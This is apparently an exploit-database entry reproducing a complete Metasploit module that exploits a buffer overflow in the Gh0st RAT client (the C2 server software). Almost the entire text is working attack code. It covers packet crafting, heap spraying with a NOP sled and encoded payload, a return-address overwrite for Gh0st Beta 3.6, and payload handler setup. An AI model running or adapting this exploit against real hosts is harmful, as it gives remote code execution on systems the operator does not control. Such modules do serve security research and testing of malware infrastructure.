Gh0st Client Buffer Overflow

2017.09.07
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'zlib' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Gh0st Client buffer Overflow', 'Description' => %q{ This module exploits a Memory buffer overflow in the Gh0st client (C2 server) }, 'Author' => 'Professor Plum', 'License' => MSF_LICENSE, 'References' => [ ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'AllowWin32SEH' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => '', 'EncoderType' => Msf::Encoder::Type::AlphanumMixed }, 'Platform' => 'win', 'DisclosureDate' => 'Jul 27 2017', 'Targets' => [ ['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }] ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']), Opt::RPORT(80) ] ) end def make_packet(id, data) msg = id.chr + data compressed = Zlib::Deflate.deflate(msg) datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed end def validate_response(data) if data.nil? print_status('Server closed connection') return false end if data.empty? print_status('No response recieved') return false end if data.size < 13 print_status('Invalid packet') print_status(data) return false end mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV') if mag.index(datastore['MAGIC']) != 0 print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size]) return false end if pktlen != data.size print_status('Packet size mismatch') return false end msg = Zlib::Inflate.inflate(data[13..data.size]) if msg.size != msglen print_status('Packet decompress failure') return false end return true end def check connect sock.put(make_packet(101, "\x00")) # heartbeat if validate_response(sock.get_once || '') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit print_status("Trying target #{target.name}") print_status('Spraying heap...') for i in 0..100 connect sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded)) if not validate_response(sock.get_once) disconnect return end end for i in 103..107 print_status("Trying command #{i}...") begin connect sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28) sock.put(sploit) if validate_response(sock.get_once) next end sleep(0.1) break rescue EOFError print_status('Invalid') end end handler disconnect end end


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